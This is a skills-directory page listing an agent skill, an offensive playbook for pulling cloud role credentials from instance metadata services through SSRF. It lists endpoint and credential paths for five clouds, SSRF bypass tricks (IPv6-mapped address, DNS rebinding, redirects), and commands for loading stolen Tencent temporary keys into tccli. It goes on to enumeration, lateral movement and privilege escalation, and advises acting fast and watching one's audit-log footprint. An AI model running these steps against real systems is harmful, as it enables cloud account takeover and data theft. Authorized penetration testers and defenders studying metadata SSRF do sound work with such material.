Skip to content
Back to skills

Cloud Metadata

ASecurity

Cloud metadata (IMDS): reachability, SSRF to credentials

  • 2 stars
  • 0 votes
  • 0 copies
  • 0 views
  • Added November 29, 2026
securitypythongobashawsgcpazureapisecurity

Works with

  • cli
  • api

Security analysis

A100/100

Pro scans all 2 files and shows the line behind each finding

Scanned November 29, 2026

npx -y skills add blackfoxxx/kestrel --skill cloud-metadata --agent claude-code

Installs into .claude/skills of the current project.

Are you the author of Cloud Metadata?

Add the live security badge to your README. It updates with every re-scan.

Security grade badge for Cloud Metadata
[![Security: A — Skills Directory](https://www.skillsdirectory.com/api/skills/blackfoxxx-cloud-metadata/badge)](https://www.skillsdirectory.com/skills/blackfoxxx-cloud-metadata)

More formats (shields.io, HTML) on the badges page. Keep it an A: scan every change in CI with Pro.

Download with Pro
SKILL.md
---
name: cloud-metadata
description: "Cloud metadata (IMDS): reachability, SSRF to credentials"
metadata:
  tags: "cloud,metadata,ssrf,iam,cam,aws,azure,gcp,aliyun,tencent,imds,cloud-security"
  category: "cloud"
---

# Cloud Metadata Exploitation Methodology

IMDS is the bridge from SSRF/RCE to the cloud control plane — a single HTTP request yields IAM/CAM temporary credentials.

## Deep Reference (Required Reading)

- Detailed credential extraction commands for each cloud platform, AWS/Tencent Cloud quick exploitation, metadata path reference → [references/credential-extraction.md](references/credential-extraction.md)

---

## Phase 1: Identify Cloud Platform

| Indicator | Cloud Platform |
|-----------|---------------|
| `x-amz-*` Header, `Server: AmazonS3` | AWS |
| `x-ms-*` Header, `.azurewebsites.net` | Azure |
| `.googleapis.com`, `x-goog-*` Header | GCP |
| `.aliyuncs.com`, `x-oss-*` Header | Alibaba Cloud |
| `.myqcloud.com`, `x-cos-*` Header, `Server: tencent-cos` | Tencent Cloud |

## Phase 2: Metadata Endpoint Quick Reference

```
# AWS (IMDSv1 — direct GET)
http://169.254.169.254/latest/meta-data/

# AWS (IMDSv2 — requires PUT to get token first)
PUT http://169.254.169.254/latest/api/token
  Header: X-aws-ec2-metadata-token-ttl-seconds: 21600

# Azure
http://169.254.169.254/metadata/instance?api-version=2021-02-01
  Header: Metadata: true

# GCP
http://metadata.google.internal/computeMetadata/v1/
  Header: Metadata-Flavor: Google

# Alibaba Cloud
http://100.100.100.200/latest/meta-data/

# Tencent Cloud (CVM/Lighthouse)
http://metadata.tencentyun.com/latest/meta-data/
# Also accessible by IP
http://169.254.0.23/latest/meta-data/
```

### Tencent Cloud Metadata Complete Path Reference

```
# Basic info
http://metadata.tencentyun.com/latest/meta-data/
http://metadata.tencentyun.com/latest/meta-data/instance-id
http://metadata.tencentyun.com/latest/meta-data/uuid
http://metadata.tencentyun.com/latest/meta-data/hostname
http://metadata.tencentyun.com/latest/meta-data/local-ipv4
http://metadata.tencentyun.com/latest/meta-data/public-ipv4
http://metadata.tencentyun.com/latest/meta-data/instance-type

# Region info
http://metadata.tencentyun.com/latest/meta-data/placement/region
http://metadata.tencentyun.com/latest/meta-data/placement/zone

# Network (get MAC address first)
http://metadata.tencentyun.com/latest/meta-data/mac
http://metadata.tencentyun.com/latest/meta-data/network/interfaces/macs/<mac>/vpc-id
http://metadata.tencentyun.com/latest/meta-data/network/interfaces/macs/<mac>/subnet-id
http://metadata.tencentyun.com/latest/meta-data/network/interfaces/macs/<mac>/local-ipv4

# CAM role credentials (critical attack surface!)
http://metadata.tencentyun.com/latest/meta-data/cam/security-credentials/
# Lists the attached role names

http://metadata.tencentyun.com/latest/meta-data/cam/security-credentials/<role-name>
# Returns temporary credentials: TmpSecretId, TmpSecretKey, Token, ExpiredTime

# User data (startup script — often contains passwords!)
http://metadata.tencentyun.com/latest/user-data
```

## Phase 3: SSRF → Metadata

- Use SSRF to request `http://169.254.169.254/...` (AWS/Azure/GCP)
- Use SSRF to request `http://metadata.tencentyun.com/...` (Tencent Cloud, domain-based)
- Use SSRF to request `http://100.100.100.200/...` (Alibaba Cloud)
- **IMDSv2 requires PUT + custom header** → most SSRF attacks cannot set custom headers, which is IMDSv2's protection value
- Bypasses: `http://[::ffff:169.254.169.254]/`, DNS rebinding, 302 redirect
- **Tencent Cloud and Alibaba Cloud metadata services do not require a special token** (similar to IMDSv1, easier to exploit via SSRF)

## Phase 4: Credential Exploitation Decision Tree

```
Got credentials?
├─ AWS → export env vars → aws sts get-caller-identity → enumerate S3/EC2/Lambda/Secrets
├─ Azure → Bearer Token → enumerate resources
├─ GCP → OAuth Token → enumerate project resources
├─ Alibaba Cloud → STS Token → enumerate OSS/ECS
└─ Tencent Cloud → configure tccli → enumerate COS/CVM/SCF/CAM
    ├─ tccli configure (interactive) or set environment variables
    ├─ tccli sts GetCallerIdentity (verify identity)
    ├─ coscli ls or Python SDK (list buckets, recommended; tccli has limited COS support)
    ├─ tccli cvm DescribeInstances (list instances)
    └─ → switch to cloud-iam-audit skill for privilege escalation assessment
Detailed commands → [references/credential-extraction.md](references/credential-extraction.md)
```

### Tencent Cloud Credentials Quick Configuration

```bash
# Method 1: tccli configure
tccli configure
# SecretId: TmpSecretId from metadata
# SecretKey: TmpSecretKey from metadata
# token: Token from metadata
# Region: from metadata placement/region

# Method 2: environment variables (suitable for scripting)
export TENCENTCLOUD_SECRET_ID="TmpSecretId"
export TENCENTCLOUD_SECRET_KEY="TmpSecretKey"
export TENCENTCLOUD_SESSION_TOKEN="Token"

# Verify
tccli sts GetCallerIdentity
```

After obtaining cloud credentials, proceed to IAM privilege escalation assessment.

## Notes
- **IMDSv2** is AWS's primary defense against metadata SSRF — pure SSRF largely cannot exploit it
- **Tencent Cloud and Alibaba Cloud metadata do not enforce tokens**, making SSRF exploitation easier
- Cloud credentials have expiry times (typically 6–12 hours) — **act immediately** after obtaining them
- Credential operations leave CloudTrail/CloudAudit logs — be mindful of your footprint
- **User-Data** (`/latest/user-data`) frequently contains passwords in startup scripts
- Tencent Cloud metadata domain `metadata.tencentyun.com` is only accessible from the instance's internal network

## Follow-Up Exploitation
- After obtaining cloud credentials, perform lateral movement to access more cloud resources
- Tencent Cloud: credentials → tccli/coscli enumerate COS → search for sensitive data → CAM privilege escalation
- AWS: credentials → awscli enumerate S3/EC2/Lambda → IAM privilege escalation

Files in this skill

  • SKILL.md5.9 KB
  • references/credential-extraction.md6.2 KB

Attribution

Is this your skill, or is something wrong with this listing? Request removal or report an issue. Author removals are honored within 72 hours.

View all in security →

Comments

Loading comments…

Newsletter

Get the weekly list of safe new skills, and the ones we pulled.